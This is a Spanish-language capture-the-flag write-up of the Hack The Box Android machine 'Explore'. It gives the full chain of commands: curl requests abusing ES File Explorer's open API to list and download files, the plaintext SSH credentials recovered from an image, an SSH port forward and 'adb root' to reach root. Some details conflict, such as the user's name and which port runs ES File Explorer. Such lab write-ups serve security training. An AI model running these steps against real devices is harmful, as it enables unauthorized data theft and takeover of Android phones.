HTB Machine Explore

Hack The Box - Machine - Explore

Bienvenido al writeup de la máquina explore de la plataforma Hack The Box. Explore es una máquina Android de dificultad fácil.

Antes de empezar

Conectamos a la VPN de Hack The Box en segundo plano con TMUX

tmux new -s htb
sudo openvpn ~/.vpn/htb.ovpn

Añadimos la máquina al fichero /etc/hosts, comprobamos la conexión con ping y creamos las carpetas de trabajo

echo '10.10.10.247 explore.htb' >> /etc/hosts
ping -c 4 explore.htb
mkdir -p ~/htb/explorer.htb/{exploits,fuzz,http,nmap}

Reconocimiento

Comprobamos todos los puertos abiertos, detectamos el servicio y su versión con nmap

nmap -sC -sV -p- -T4 --min-rate=1000 -v -oA all explore.htb
Nmap scan report for explore.htb (10.10.10.247)
Host is up (0.048s latency).
Not shown: 65530 closed tcp ports (reset)
PORT      STATE    SERVICE VERSION
2222/tcp  open     ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey: 
|_  2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
5555/tcp  filtered freeciv
42135/tcp open     http    ES File Explorer Name Response httpd
|_http-title: Site doesn't have a title (text/html).
44347/tcp open     unknown
59777/tcp open     http    Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
|_http-title: Site doesn't have a title (text/plain).
Service Info: Device: phone

HTB Machine Explore

Abrimos Firefox para inspeccionar el sitio web

firefox http://explore.htb:59777 &

HTB Machine Explore

Nada interesante, sigamos buscando información.

En el puerto 42135 corre ES File Explorer, una vulnerabilidad pública cuyo PoC ya estaba probando en el Github de fs0c131y . También observamos que JSONAPI es un add-on de Bukkit que permite consumir una API — puede que estén relacionados.

Leyendo el README.md del repositorio, podemos generar un payload para probar la vulnerabilidad:

curl --header "Content-Type: application/json" --request POST --data '{"command":"getDeviceInfo"}' http://explore.htb:59777

HTB Machine Explore

HTB Machine Explore

Buscando ficheros interesantes, encontramos una imagen con las credenciales del usuario kriti en la ruta /storage/emulated/0/DCIM/creds.jpg:

curl --header "Content-Type: application/json" --request POST --data '{"command":"listPics"}' http://explore.htb:59777

HTB Machine Explore

Para descargar creds.jpg usamos el siguiente comando:

python exploit_ESFileExplorer.py --get-file /storage/emulated/0/DCIM/creds.jpg --host explore.htb

HTB Machine Explore

HTB Machine Explore

Credenciales obtenidas:

kristi:Kr1sT!5h@Rp3xPl0r3!

Acceso Inicial

El servicio SSH corre en el puerto 2222. Nos conectamos con las credenciales y mostramos la flag user.txt:

ssh -p 2222 kristi@explore.htb
cat /sdcard/user.txt

HTB Machine Explore

Escalada de Privilegios

Revisando las conexiones de red, observamos que el puerto 5555 está a la escucha. Este puerto es utilizado por defecto por ADB (Android Debug Bridge).

netstat -nlpt

HTB Machine Explore

Hacemos un port forward mediante SSH y nos conectamos desde nuestra máquina:

ssh -p 2222 kristi@explore.htb -L 5555:localhost:5555

Usamos adb para obtener acceso root, localizar la flag y mostrarla:

adb -s localhost:5555 root
adb -s localhost:5555 shell
find / -name "root.txt" 2>/dev/null
cat /data/root.txt

HTB Machine Explore

HTB Machine Explore

Un saludo, nos vemos en el próximo challenge.